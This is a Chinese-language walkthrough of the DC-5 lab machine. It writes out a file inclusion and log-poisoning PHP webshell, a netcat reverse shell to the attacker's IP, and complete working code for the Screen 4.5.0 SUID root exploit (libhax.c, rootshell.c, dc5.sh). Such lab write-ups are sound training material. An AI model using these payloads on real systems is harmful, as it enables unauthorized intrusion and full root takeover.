DC-5靶机复现
字数 829 2025-09-01 11:26:10

DC-5靶机渗透测试复现教学文档

1. 环境准备

1.1 靶机设置

  • 将DC-5靶机设置为NAT模式(桥接模式可能无法扫描到)
  • 使用arp-scan扫描靶机IP地址:
    arp-scan -l
    

1.2 信息收集

  • 使用dirsearch扫描靶机Web目录:
    dirsearch -u 192.168.130.145
    

2. 漏洞发现与利用

2.1 文件包含漏洞

  1. 访问Web界面发现留言板页面
  2. 观察到页面底部copyright数字随刷新变化
  3. 确认footer.php被包含在其他页面中
  4. thankyou.php页面测试文件包含:
    http://192.168.130.145/thankyou.php?file=/etc/passwd
    

2.2 日志文件包含攻击

  1. 构造一句话木马并包含在请求中:
    <?php system($_GET['cmd']); ?>
    
  2. 该木马会被记录在Nginx日志文件中(默认路径:/var/log/nginx/access.log
  3. 使用蚁剑连接:
    http://192.168.130.145/thankyou.php?file=/var/log/nginx/access.log
    

3. 权限提升

3.1 反弹Shell

  1. 在攻击机开启监听:
    nc -lvnp 4444
    
  2. 在靶机执行反弹:
    nc 192.168.130.128 4444 -e /bin/sh
    
  3. 切换到交互式Shell:
    python -c 'import pty;pty.spawn("/bin/bash")'
    

3.2 SUID提权(Screen 4.5.0漏洞利用)

3.2.1 查找SUID文件

find / -perm -u=s -type f 2>/dev/null

发现存在screen-4.5.0命令

3.2.2 漏洞利用准备

  1. 创建libhax.c文件:

    #include <stdio.h>
    #include <sys/types.h>
    #include <unistd.h>
    
    __attribute__ ((__constructor__))
    void dropshell(void){
        chown("/tmp/rootshell", 0, 0);
        chmod("/tmp/rootshell", 04755);
        unlink("/etc/ld.so.preload");
        printf("[+] done!\n");
    }
    
  2. 编译(注意添加-std=gnu89参数):

    gcc -fPIC -shared -o libhax.so libhax.c -std=gnu89
    
  3. 创建rootshell.c文件:

    #include <stdio.h>
    int main(void){
        setuid(0);
        setgid(0);
        seteuid(0);
        setegid(0);
        execvp("/bin/sh", NULL, NULL);
    }
    
  4. 重要:必须在靶机环境中编译rootshell.c

    gcc -o rootshell rootshell.c
    
  5. 创建dc5.sh脚本:

    echo "[+] Now we create our /etc/ld.so.preload file..."
    cd /etc
    umask 000 # because
    screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
    echo "[+] Triggering..."
    screen -ls # screen itself is setuid, so...
    /tmp/rootshell
    

    注意:保存前执行:set ff=unix防止格式错误

3.2.3 执行提权

  1. 将三个文件上传到靶机/tmp目录
  2. 在靶机/tmp目录下:
    chmod 777 dc5.sh
    ./dc5.sh
    

4. 获取Flag

find / -name *flag*
cat /root/thisistheflag.txt

关键注意事项

  1. GLIBC版本问题:必须在靶机环境中编译rootshell.c,否则可能因GLIBC版本不匹配导致提权失败
  2. 文件格式:确保脚本文件使用Unix格式(LF换行)
  3. 编译参数:高版本gcc需要添加-std=gnu89参数
  4. 权限设置:确保dc5.sh有执行权限(777)

通过以上步骤,可以完整复现DC-5靶机的渗透测试过程,从初始信息收集到最终获取root权限。

DC-5靶机渗透测试复现教学文档 1. 环境准备 1.1 靶机设置 将DC-5靶机设置为NAT模式(桥接模式可能无法扫描到) 使用 arp-scan 扫描靶机IP地址: 1.2 信息收集 使用 dirsearch 扫描靶机Web目录: 2. 漏洞发现与利用 2.1 文件包含漏洞 访问Web界面发现留言板页面 观察到页面底部copyright数字随刷新变化 确认 footer.php 被包含在其他页面中 在 thankyou.php 页面测试文件包含: 2.2 日志文件包含攻击 构造一句话木马并包含在请求中: 该木马会被记录在Nginx日志文件中(默认路径: /var/log/nginx/access.log ) 使用蚁剑连接: 3. 权限提升 3.1 反弹Shell 在攻击机开启监听: 在靶机执行反弹: 切换到交互式Shell: 3.2 SUID提权(Screen 4.5.0漏洞利用) 3.2.1 查找SUID文件 发现存在 screen-4.5.0 命令 3.2.2 漏洞利用准备 创建 libhax.c 文件: 编译(注意添加 -std=gnu89 参数): 创建 rootshell.c 文件: 重要 :必须在靶机环境中编译 rootshell.c : 创建 dc5.sh 脚本: 注意:保存前执行 :set ff=unix 防止格式错误 3.2.3 执行提权 将三个文件上传到靶机 /tmp 目录 在靶机 /tmp 目录下: 4. 获取Flag 关键注意事项 GLIBC版本问题 :必须在靶机环境中编译 rootshell.c ,否则可能因GLIBC版本不匹配导致提权失败 文件格式 :确保脚本文件使用Unix格式(LF换行) 编译参数 :高版本gcc需要添加 -std=gnu89 参数 权限设置 :确保 dc5.sh 有执行权限(777) 通过以上步骤,可以完整复现DC-5靶机的渗透测试过程,从初始信息收集到最终获取root权限。